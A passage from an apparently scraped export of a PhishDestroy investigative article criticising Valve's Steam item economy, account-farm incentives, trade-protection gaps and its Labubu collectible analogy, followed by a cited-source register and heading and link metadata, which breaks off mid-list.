cycle.\n\nThe model shows the records to join. The payback calculator above provides the editable arithmetic.\n\n01 / PAID ACCESS\nThe first receipt precedes enforcement.\n\nThe scenario begins with newly purchased entitlements for the farm’s accounts. The payment and the account cohort are the first entries to reconcile.\n\nPurchase date · account cohort · entitlement · receipt · refund\n02 / ITEM REWARDS\nPaid eligibility leads to item issuance.\n\nValve’s CS2 documentation connects Prime status with weekly item rewards. Follow what the eligible accounts receive, when the activity is recognised and which protection interrupts it.\n\nEligible account · reward date · issued item · activity record\n03 / SALE AND PROCEEDS\nFollow the item into realised value.\n\nThe farm’s receipts depend on the route and fees. An internal Steam Market transaction and an outside cash sale leave different ledgers. Reconcile the reward, transfer, sale and money actually received.\n\nItem identifier · transfer · venue · sale proceeds · retained fees\n04 / BAN OR REPLACEMENT\nDid the intervention end the business cycle?\n\nA restriction changes the account’s access. The investigation asks whether the same operation continues, replaces its accounts or loses the ability to earn. Follow purchases and losses after the intervention.\n\nRestriction date · retained inventory · replacement account · later receipts\nStage 1 of 4: Paid access.\n\nLOW RENDERING LOAD / MANY ACCOUNTS\n\nThe farm is a business relationship before it is a ban statistic.\n\nThe model examined by PhishDestroy reduces rendering work through minimal settings and small output dimensions, then distributes available resources across many running clients. The business calculation starts with the accounts sustained by that setup and the rewards they can realise. Those inputs belong in the farm’s economics alongside electricity, hosting, equipment and replacement costs.\n\nOur criticism is the incentive relationship: the farm seeks recurring item proceeds; Valve can receive payments for access, replacement accounts and internal transactions. Enforcement that periodically removes accounts can coexist with a purchase-and-replacement cycle. The investigation asks whether intervention disrupts that cycle or leaves it commercially viable.\n\nA roughly three-month recovery target is the author’s working benchmark, exposed through the editable scenario above. To turn the headline ban count into an account of responsibility, Valve should publish the associated purchases, restrictions, retained fees, surviving operators and repeated registrations. How much did the system receive before the operation was stopped—and was it actually stopped?\n\n06\n\nCOLLECTIBLES / PRECEDENTS / COMMUNITY\n\nLabubu, CS2 charms and Valve’s chosen analogy.\nEARLY 2024\nLisa dates her collecting interest to early 2024.\n\nIn an interview published on 8 November 2024, Lisa looks back at her interest in blind boxes and rare collectibles earlier that year. [E112]\n\nThe original April post — the first-person collecting record behind the 8 November 2024 interview — remains a separately sought primary source.\n\n02 OCT 2024\nValve introduces the Armory and weapon charms.\n\nThe official release describes paid passes, play-earned credits and item redemption. It places another cosmetic product inside Valve’s monetisation architecture. [E101]\n\n11 MAR 2026\nValve invokes Labubu in its public defence.\n\nThe statement compares mystery boxes with physical collectibles. Valve issues the item, sets the paid sequence, executes the transfers and can stop the holder from using the market. The collectible comparison erases every one of those issuer powers. [E14]\n\nValve chose a collectible associated with a recent, highly commercial collecting boom. Put that choice beside the sequence: Lisa dates her collecting interest to early 2024; Valve introduces CS2 weapon charms on 2 October 2024; Valve invokes Labubu in its 11 March 2026 defence. PhishDestroy’s argument is that the analogy makes paid random outcomes feel like familiar collecting while directing attention away from Steam’s liquid item economy and the issuer’s control. The commercial role of appearance is also visible in the seven-Major inspect dataset ↗.\n\nTHE COMMERCIAL SCALE OF THE COMPARISON\nTHE MONSTERS revenue\n\nPOP MART annual report · RMB billions · scale 0–15\n\n20243.04 billion RMB\n202514.16 billion RMB\n\nCompany-reported revenue for the full IP that includes Labubu, not resale turnover or Labubu alone. These figures show the commercial scale of the collectible market that Valve chose for its analogy. [E111]\n\nSTEAM’S OWN TRANSFER ECONOMY\nRead the actual transfer architecture.\n\nThe useful comparison with FIFA is the architecture of value. Steam combines transferable inventory, an internal Market and outside sale routes. Valve created and administers the transfer infrastructure on which that liquidity depends. A judgment about EA’s implementation cannot answer questions about Valve’s own system. Valve’s regional response in the Netherlands belongs at the centre of that comparison: when the obligation changes, the platform can change access. [E89] Follow the regional-control record ↗\n\nTHE COMMUNITY’S SECURITY PROBLEM\nPlayers ask for protection.\n\nIn the community material examined by PhishDestroy, the appeal to privacy repeatedly meets ridicule and complaints about cheating, fraud and the security of inventories. Valve’s defence fails to answer the problem those players experience: a platform with extensive records and commercial control that still leaves them exposed. Their demand is effective protection and a remedy after loss.\n\nThe statement and the research record\n\nValve published the response on 11 March 2026. Its choice of audience, collectible analogy and privacy argument are the subjects of this analysis. The investigation treats the publication as the company’s position.\n\nThe broader dossier brings together support records, community discussions, reviews, technical material and commercial data. Those streams are used to examine how Valve’s public account compares with its users’ experience. The source archive preserves the dated records behind each part of that examination.\n\nTHE AUTHOR’S ECONOMIC COMPARISON\n\nSteam’s exchange architecture is the issue.\n\nPhishDestroy compares Steam’s liquid item economy with an exchange: the issuer creates the asset, defines its permissions, supplies the transfer infrastructure and records the internal market, while outside venues supply cash trading and gambling settlement. This is why we reject FIFA as a substitute explanation for Valve’s system. The relevant questions are liquidity, conversion, custody, control and the paid random transaction.\n\nValve’s API, trading functions and Market were created by Valve. Outside operators commercialise access to that infrastructure. Our criticism is directed at the platform that supplies and administers it, and at an enforcement account that counts restricted accounts while leaving the surrounding business capabilities unexplained. Follow the ledger and item routes ↗ · Follow Steam access ↗\n\n07\n\nTHE RECORD VALVE SHOULD PRODUCE\n\nTurn the defence into an auditable account.\n01\nProtection by game and route.\n\nPublish theft losses, reversals, refusals and the reason Dota 2 and TF2 remain outside Trade Protection. Separate trades, Market purchases, gifts and recovery incidents.\n\n02\nThe post-2019 fraud trace.\n\nIdentify the financial instruments monitored after new CS:GO keys stopped circulating, the flows displaced and the interventions that followed.\n\n03\nNotice, fix, exposure and remedy.\n\nFor each security failure, provide the first notice, affected builds, exploitation evidence, patch date, affected population and compensation or restoration outcome.\n\n04\nThe money behind account enforcement.\n\nReconcile the relevant account cohorts with entitlement receipts, item issuance, fees, restrictions, repeat purchases and operator survival.\n\n05\nThe design decisions and their cost.\n\nDisclose browser protection settings, anti-cheat coverage and measured trade-offs. Make the decisions that affect user security open to independent examination.\n\nTHE FINDING\n\nThe items have an economic function. Valve has operational control. Protection and accountability must match both. The record now contains Valve’s own fraud admission, a court-directed account disclosure and a documented gap between the three games named in its defence.\n\nHOW PHISHDESTROY CONNECTS THE RECORD\n\nThe investigation follows the same mechanism across datasets.\n\nOur approach brings together development material, other games, public reviews, community discussions, support experiences, court documents and the commercial services built around Steam. These are different views of the same system: what Valve issues, what it records, what outside operators do with that access and what happens to the person who loses an account or inventory.\n\nThe review-incentive chapter adds a further acquisition layer. A giveaway recruits public reviews; those reviews help establish trust in an extension; the extension then requests access and operates inside Steam’s interface. The code case follows that access into registered account operations. The questions about protection and enforcement travel through the whole chain. Review incentives and developer replies ↗ · The SIH account-operation record ↗\n\n08\n\nTHE PUBLIC RECORD\n\nInspect the evidence.\n26 RECORDS\n\nSources cited in this article appear first. Select “All records” to inspect the complete 107-record register shared by the investigation; the dedicated evidence files retain their own detailed registers.\n\nResearch method and source status\n\nReviewed 11 October 2026 UTC. The game comparison uses the current Trade Protection FAQ and the separate general hold policy. The Canadian exhibit distinguishes the court’s order from the trustee’s account and valuation. Victim reports retain their original dates and source links.\n\nThe farm model exposes its assumptions and arithmetic. Technical sources identify the documented architectures; the requested Steam-specific record includes the shipped configuration and observed protection. The New York exhibit is the February complaint, with its allegations and requested remedies attributed to the filing.\n\nCited source records\nE14 · About the New York Attorney General lawsuit against Valve\n\nPublisher: Valve\n\nDate: 11 Mar 2026\n\nSupports: The public collectibles comparison, optional and cosmetic framing, transferability argument, account-ban total, privacy objections and legislative position.\n\nScope: Corporate public response dated 11 March 2026; linked alongside the filed complaint and the investigation’s analysis.\n\nhttps://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5\nE32 · Trade Protected Items\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · feature introduced July 2025\n\nSupports: Seven-day protection, reversal of eligible trades and the initiating account’s thirty-day trade and market cooldown.\n\nScope: The platform-defined reversal mechanism affecting delivery and outside operators’ balance-release timing.\n\nhttps://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD\nE38 · People of New York v. Valve Corporation — filed complaint\n\nPublisher: New York Attorney General / NYSCEF\n\nDate: 25 Feb 2026\n\nSupports: Court, filing date, index 450952/2026, allegations, statutory bases and requested remedies.\n\nScope: NYSCEF document 2; 52-page court-stamped complaint. Requested relief appears on PDF pages 50–51.\n\nhttps://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf\nE110 · Steam China\n\nPublisher: Valve / Steamworks\n\nDate: Current documentation · reviewed 11 Oct 2026\n\nSupports: Valve identifies Perfect World as its onshore Steam China partner and government approval as a prerequisite for publishing games.\n\nScope: Official documentation of the Steam China publishing process, local partnership and approval requirements.\n\nhttps://partner.steamgames.com/doc/store/china?l=english\nE103 · Steam Trade and Market Holds\n\nPublisher: Valve / Steam Support\n\nDate: Current FAQ · reviewed 11 Oct 2026\n\nSupports: General pre-delivery holds, authenticator conditions and restrictions after cancellation.\n\nScope: A delivery hold differs from CS2’s reversal of completed protected trades. Item-specific restrictions also vary.\n\nhttps://help.steampowered.com/en/faqs/view/34A1-EA3F-83ED-54AB\nE107 · Update on The Crate Depression of 2019\n\nPublisher: Valve / Team Fortress 2\n\nDate: 2 Aug 2019 · updated 16 Aug\n\nSupports: Valve’s response to guaranteed Unusual drops: trade locks, selective release, deleted-item restoration and refunds.\n\nScope: Valve’s announced remedy for the TF2 item-issuance incident and treatment of affected items.\n\nhttps://www.teamfortress.com/post.php?id=53025\nE102 · Selected support records — dated posts and source links\n\nPublisher: PhishDestroy / preserved public user testimony\n\nDate: 2021–2025 posts · 2026 collection\n\nSupports: Preserved Dota restoration, Wallet-loss and Québec account-recovery reports, with original post links.\n\nScope: Preserved first-person reports with dates and original links: Dota restoration, Wallet losses and account recovery.\n\nhttps://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json\nE81 · TF2 — Mann Co. Supply Crate Key\n\nPublisher: Valve / Steam Community Market\n\nDate: Current official item listing\n\nSupports: The listing’s asset data marks the key as tradable and marketable; the item has a Steam Market order interface.\n\nScope: Steam’s item listing, showing the trading and Market attributes of the TF2 key.\n\nhttps://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key\nE94 · Key Change\n\nPublisher: Valve / Counter-Strike\n\nDate: 28 Oct 2019\n\nSupports: Valve attributed traded newly purchased keys to fraud flows and stopped new keys from being traded or sold on the Market.\n\nScope: Valve’s 28 October 2019 change applies to new key purchases; pre-existing keys retain their trading functions.\n\nhttps://blog.counter-strike.net/2019/10/26113/\nE108 · ExpressTrade — notice to OPSkins\n\nPublisher: Valve / Counter-Strike\n\nDate: 8 Jun 2018\n\nSupports: Valve’s demand to cease and announced deadline of 21 June for locking OPSkins Steam accounts.\n\nScope: Valve’s named enforcement target, prohibited practice and June 2018 account-lock deadline.\n\nhttps://blog.counter-strike.net/expresstrade/\nE95 · Pleterski — supplement to the sixth trustee report and Steam Order\n\nPublisher: Ontario Superior Court / Grant Thornton Limited\n\nDate: 11 Jul 2024 · order 6 Jun 2024\n\nSupports: Order §§3–4 and report §§20, 24–25 establish the disclosure and asset-tracing record.\n\nScope: Trustee report and court order in the Pleterski bankruptcy. Inventory values are the trustee’s estimates; cryptocurrency settlement is its inference.\n\nhttps://doanegrantthornton-docs.webpal.net/document-folder/viewer/docul8LWsxcWho7J/31250879551604896\nE96 · Security and Trading\n\nPublisher: Valve / Steam\n\nDate: 9 Dec 2015\n\nSupports: Valve’s contemporary estimate of 77,000 hijacked and emptied accounts per month, and its account of the theft economy.\n\nScope: Valve’s estimate for the period covered by its historical account-security publication.\n\nhttps://store.steampowered.com/oldnews/19618\nE47 · Exploiting Steam: Usual and Unusual Ways in the CEF Framework\n\nPublisher: DARKNAVY\n\nDate: 27 Jun 2024\n\nSupports: Firsthand technical description of steamwebhelper and its Chromium Embedded Framework architecture.\n\nScope: Documents Steam’s embedded Chromium architecture and its exploitation history, dated June 2024. The shipped configuration, patch cadence and present protection of steamwebhelper are part of the record requested from Valve.\n\nhttps://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/\nE104 · API Keys\n\nPublisher: The Chromium Projects\n\nDate: Current documentation · reviewed 11 Oct 2026\n\nSupports: Google-service integration and API-key configuration for Chromium-derived products.\n\nScope: Chromium documentation of Google-service API keys and integration requirements.\n\nhttps://www.chromium.org/developers/how-tos/api-keys/\nE97 · Build without unrar — Safe Browsing default discussion\n\nPublisher: CEF / maintainer magreenblatt\n\nDate: 12 Mar 2025\n\nSupports: A CEF maintainer states that Safe Browsing remains enabled by default and discusses custom builds.\n\nScope: CEF maintainer discussion of upstream defaults and build options. The Steam-specific configuration is a disclosure requested from Valve.\n\nhttps://www.magpcss.org/ceforum/viewtopic.php?f=7&t=20220\nE109 · What is FACEIT Anti-cheat and how does it work?\n\nPublisher: FACEIT\n\nDate: 29 Jun 2023 · updated 23 Oct 2025\n\nSupports: FACEIT describes an application, kernel-mode driver and server SDK for protected CS2 matches, and its Windows-only availability.\n\nScope: FACEIT’s account of its client, kernel driver, server integration and supported environment.\n\nhttps://support.faceit.com/hc/en-us/articles/9394666828188-What-is-FACEIT-Anti-cheat-and-how-does-it-work\nE99 · What is Vanguard?\n\nPublisher: Riot Games\n\nDate: 2 Jun 2026\n\nSupports: Riot describes Vanguard’s client and kernel-mode driver.\n\nScope: Riot’s description of Vanguard’s client, kernel-mode driver and security model.\n\nhttps://support.riotgames.com/en-us/riot/performance/what-is-vanguard\nE98 · Distributing a driver package\n\nPublisher: Microsoft Learn\n\nDate: Updated 15 Jan 2025\n\nSupports: HLK testing, WHQL signing and submitted driver binaries and INF files.\n\nScope: Microsoft documentation of testing, driver-package submission, signing and distribution requirements.\n\nhttps://learn.microsoft.com/en-us/windows-hardware/drivers/develop/distributing-a-driver-package\nE106 · Anti-cheat and Game Bans\n\nPublisher: Valve / Steamworks\n\nDate: Current documentation · reviewed 11 Oct 2026\n\nSupports: Authoritative-server guidance and communication requirements concerning Game Bans.\n\nScope: Steamworks guidance on authoritative servers, anti-cheat and communicating game bans.\n\nhttps://partner.steamgames.com/doc/features/anticheat\nE100 · CS2 — Prime Status and Free to Play\n\nPublisher: Valve / Steam Support\n\nDate: Current FAQ · reviewed 11 Oct 2026\n\nSupports: Prime purchase and eligibility for XP and weekly care packages.\n\nScope: Valve’s description of Prime eligibility and weekly rewards. Scenario inputs are exposed in the farm calculator.\n\nhttps://help.steampowered.com/en/faqs/view/4D81-BB44-4F5C-9B6B\nE105 · GPU paravirtualization\n\nPublisher: Microsoft Learn\n\nDate: Updated 7 Feb 2025\n\nSupports: WDDM architecture for shared GPU resources across virtual machines with host kernel-driver involvement.\n\nScope: Microsoft’s GPU-paravirtualisation architecture and sharing of physical resources across virtual machines.\n\nhttps://learn.microsoft.com/en-us/windows-hardware/drivers/display/gpu-paravirtualization\nE66 · Limited User Accounts\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Qualifying $5 spending and specified restricted community features.\n\nScope: Steam’s published requirements for access to trading and the Community Market.\n\nhttps://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A\nE112 · Lisa’s Secret Obsession with POP MART\n\nPublisher: Lisa / Vanity Fair interview\n\nDate: 8 Nov 2024\n\nSupports: First-person interview about collecting, rarity and blind boxes; Lisa dates her interest to early 2024.\n\nScope: Published on 8 November 2024, the interview supplies a first-person account of Lisa’s interest earlier that year. Read alongside the 2 October 2024 Armory release and Valve’s 11 March 2026 Labubu comparison.\n\nhttps://www.vanityfair.com/video/watch/vf-secret-obsessions-lisa\nE101 · The Armory — announcement and release notes\n\nPublisher: Valve / Counter-Strike 2\n\nDate: 2 Oct 2024\n\nSupports: Launch of the Armory and charms; passes, credits and item redemption.\n\nScope: Valve’s 2 October 2024 release announcement for the Armory, passes, credits and weapon charms.\n\nhttps://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements\nE111 · Annual Report 2025 — revenue by IP\n\nPublisher: POP MART / HKEX\n\nDate: 21 Apr 2026 · 2024 and 2025 results\n\nSupports: Printed page 27 reports THE MONSTERS revenue of RMB3,040,664,000 in 2024 and RMB14,161,064,000 in 2025.\n\nScope: Revenue for the whole IP that includes Labubu; resale turnover and Labubu-only figures are separate. The annual results measure the commercial scale of the collectible market Valve chose for its analogy.\n\nhttps://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf\nE89 · EA / FIFA-FUT — ECLI:NL:RVS:2022:690\n\nPublisher: Raad van State\n\nDate: 9 Mar 2022\n\nSupports: The Council of State overturned the penalty against EA on the implementation-specific record before it.\n\nScope: The Council of State’s 9 March 2022 ruling on EA’s FIFA/FUT implementation.\n\nhttps://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/",
        "headings": [
          {
            "level": 1,
            "text": "Three games. Unequal protection.",
            "anchor": "pd-three-games-and-security--hero-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#hero-title"
          },
          {
            "level": 2,
            "text": "A New York case. A system used worldwide.",
            "anchor": "pd-three-games-and-security--new-york-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#new-york-title"
          },
          {
            "level": 3,
            "text": "All three games are in the complaint.",
            "anchor": "pd-three-games-and-security--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#new-york"
          },
          {
            "level": 3,
            "text": "Does the existing prohibition apply?",
            "anchor": "pd-three-games-and-security--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#new-york"
          },
          {
            "level": 3,
            "text": "Territorial adaptation is already part of Valve’s business.",
            "anchor": "pd-three-games-and-security--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#china-counterpart"
          },
          {
            "level": 3,
            "text": "The address line does not define the system.",
            "anchor": "pd-three-games-and-security--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#new-york"
          },
          {
            "level": 2,
            "text": "Who can actually get the items back?",
            "anchor": "pd-three-games-and-security--protection-scope-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#protection-scope-title"
          },
          {
            "level": 3,
            "text": "Counter-Strike 2",
            "anchor": "pd-three-games-and-security--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#protection-scope"
          },
          {
            "level": 3,
            "text": "Dota 2",
            "anchor": "pd-three-games-and-security--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#protection-scope"
          },
          {
            "level": 3,
            "text": "Team Fortress 2",
            "anchor": "pd-three-games-and-security--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#protection-scope"
          },
          {
            "level": 3,
            "text": "A hold delays delivery. A reversal returns a completed trade.",
            "anchor": "pd-three-games-and-security--protection-timing-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#protection-timing-title"
          },
          {
            "level": 3,
            "text": "When rarity broke, Valve designed a remedy.",
            "anchor": "pd-three-games-and-security--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#tf2-remedy"
          },
          {
            "level": 3,
            "text": "A collection is more than its resale price.",
            "anchor": "pd-three-games-and-security--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#personal-value"
          },
          {
            "level": 4,
            "text": "Attachment. Circulation. Recovery.",
            "anchor": "pd-three-games-and-security--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#game-value-model"
          },
          {
            "level": 3,
            "text": "A favourite item and a circulating chip have different roles.",
            "anchor": "pd-three-games-and-security--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#item-circulation"
          },
          {
            "level": 2,
            "text": "The monetary function was already on the record.",
            "anchor": "pd-three-games-and-security--value-and-control-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#value-and-control-title"
          },
          {
            "level": 3,
            "text": "Valve stopped newly purchased CS:GO keys from circulating.",
            "anchor": "pd-three-games-and-security--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#key-change"
          },
          {
            "level": 3,
            "text": "Valve could direct enforcement at the operator.",
            "anchor": "pd-three-games-and-security--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#opskins-order"
          },
          {
            "level": 3,
            "text": "Disclose the records. Freeze the accounts.",
            "anchor": "pd-three-games-and-security--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#canadian-order"
          },
          {
            "level": 3,
            "text": "The monetary function did not disappear with one restriction.",
            "anchor": "pd-three-games-and-security--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#post-key-economy"
          },
          {
            "level": 2,
            "text": "A ban total cannot replace a security loss ledger.",
            "anchor": "pd-three-games-and-security--security-debt-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#security-debt-title"
          },
          {
            "level": 3,
            "text": "44 purchases. About US$500 lost.",
            "anchor": "pd-three-games-and-security--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#victim-records"
          },
          {
            "level": 3,
            "text": "About US$10,000. A disputed support reset.",
            "anchor": "pd-three-games-and-security--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#victim-records"
          },
          {
            "level": 3,
            "text": "Keys and sessions",
            "anchor": "pd-three-games-and-security--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#security-debt"
          },
          {
            "level": 3,
            "text": "Trades and Market sales",
            "anchor": "pd-three-games-and-security--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#security-debt"
          },
          {
            "level": 3,
            "text": "Browser and recovery",
            "anchor": "pd-three-games-and-security--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#security-debt"
          },
          {
            "level": 3,
            "text": "Valve owns the protection delivered inside its client.",
            "anchor": "pd-three-games-and-security--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#browser-protection"
          },
          {
            "level": 3,
            "text": "Valve chooses the architecture. Users bear the consequences.",
            "anchor": "pd-three-games-and-security--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#kernel-control"
          },
          {
            "level": 3,
            "text": "Kernel-level protection is already deployed.",
            "anchor": "pd-three-games-and-security--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#kernel-control"
          },
          {
            "level": 3,
            "text": "Explain the gaps. Account for the damage.",
            "anchor": "pd-three-games-and-security--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#kernel-control"
          },
          {
            "level": 3,
            "text": "Corporate independence has a cost paid by the user.",
            "anchor": "pd-three-games-and-security--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#corporate-autonomy"
          },
          {
            "level": 3,
            "text": "How many accounts, how many inventories, how many years?",
            "anchor": "pd-three-games-and-security--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#security-debt"
          },
          {
            "level": 2,
            "text": "Count what the farm pays. Then count what enforcement stops.",
            "anchor": "pd-three-games-and-security--farm-economics-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#farm-economics-title"
          },
          {
            "level": 3,
            "text": "Which half of a ten-million economy did the lock hit?",
            "anchor": "pd-three-games-and-security--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#ban-population"
          },
          {
            "level": 3,
            "text": "The farm’s payback period is also a revenue question.",
            "anchor": "pd-three-games-and-security--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#farm-economics"
          },
          {
            "level": 4,
            "text": "Follow the receipt through the cycle.",
            "anchor": "pd-three-games-and-security--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#farm-payment-model"
          },
          {
            "level": 3,
            "text": "The farm is a business relationship before it is a ban statistic.",
            "anchor": "pd-three-games-and-security--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#farm-business-model"
          },
          {
            "level": 2,
            "text": "Labubu, CS2 charms and Valve’s chosen analogy.",
            "anchor": "pd-three-games-and-security--collectible-rhetoric-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#collectible-rhetoric-title"
          },
          {
            "level": 3,
            "text": "Lisa dates her collecting interest to early 2024.",
            "anchor": "pd-three-games-and-security--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#collectible-rhetoric"
          },
          {
            "level": 3,
            "text": "Valve introduces the Armory and weapon charms.",
            "anchor": "pd-three-games-and-security--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#collectible-rhetoric"
          },
          {
            "level": 3,
            "text": "Valve invokes Labubu in its public defence.",
            "anchor": "pd-three-games-and-security--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#collectible-rhetoric"
          },
          {
            "level": 3,
            "text": "THE MONSTERS revenue",
            "anchor": "pd-three-games-and-security--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#collectible-market"
          },
          {
            "level": 3,
            "text": "Read the actual transfer architecture.",
            "anchor": "pd-three-games-and-security--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#collectible-rhetoric"
          },
          {
            "level": 3,
            "text": "Players ask for protection.",
            "anchor": "pd-three-games-and-security--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#collectible-rhetoric"
          },
          {
            "level": 3,
            "text": "Steam’s exchange architecture is the issue.",
            "anchor": "pd-three-games-and-security--heading-45",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#steam-exchange-comparison"
          },
          {
            "level": 2,
            "text": "Turn the defence into an auditable account.",
            "anchor": "pd-three-games-and-security--production-record-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#production-record-title"
          },
          {
            "level": 3,
            "text": "Protection by game and route.",
            "anchor": "pd-three-games-and-security--heading-47",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#production-record"
          },
          {
            "level": 3,
            "text": "The post-2019 fraud trace.",
            "anchor": "pd-three-games-and-security--heading-48",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#production-record"
          },
          {
            "level": 3,
            "text": "Notice, fix, exposure and remedy.",
            "anchor": "pd-three-games-and-security--heading-49",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#production-record"
          },
          {
            "level": 3,
            "text": "The money behind account enforcement.",
            "anchor": "pd-three-games-and-security--heading-50",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#production-record"
          },
          {
            "level": 3,
            "text": "The design decisions and their cost.",
            "anchor": "pd-three-games-and-security--heading-51",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#production-record"
          },
          {
            "level": 3,
            "text": "The investigation follows the same mechanism across datasets.",
            "anchor": "pd-three-games-and-security--heading-52",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#research-method"
          },
          {
            "level": 2,
            "text": "Inspect the evidence.",
            "anchor": "pd-three-games-and-security--sources-title",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#sources-title"
          },
          {
            "level": 2,
            "text": "Cited source records",
            "anchor": "pd-three-games-and-security--cited-sources",
            "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security"
          },
          {
            "label": "Read the response ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "Read the policy ↗",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/three-games-and-security.html"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E110]",
            "url": "https://partner.steamgames.com/doc/store/china?l=english"
          },
          {
            "label": "Russian funding-provider record",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#regional-funding"
          },
          {
            "label": "THE IMPLEMENTATION RECORDNetherlands. Belgium. France. Germany.Valve has already changed container access by territory ↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#regional-control"
          },
          {
            "label": "[E103] Holds",
            "url": "https://help.steampowered.com/en/faqs/view/34A1-EA3F-83ED-54AB"
          },
          {
            "label": "[E32] Reversal",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "[E32]",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "[E107]",
            "url": "https://www.teamfortress.com/post.php?id=53025"
          },
          {
            "label": "[E102]",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json"
          },
          {
            "label": "[E32] Trade Protection",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "Outside settlement record ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "[E102] Preserved Dota testimony",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json"
          },
          {
            "label": "[E32] Supported-game scope",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "[E81] TF2 key",
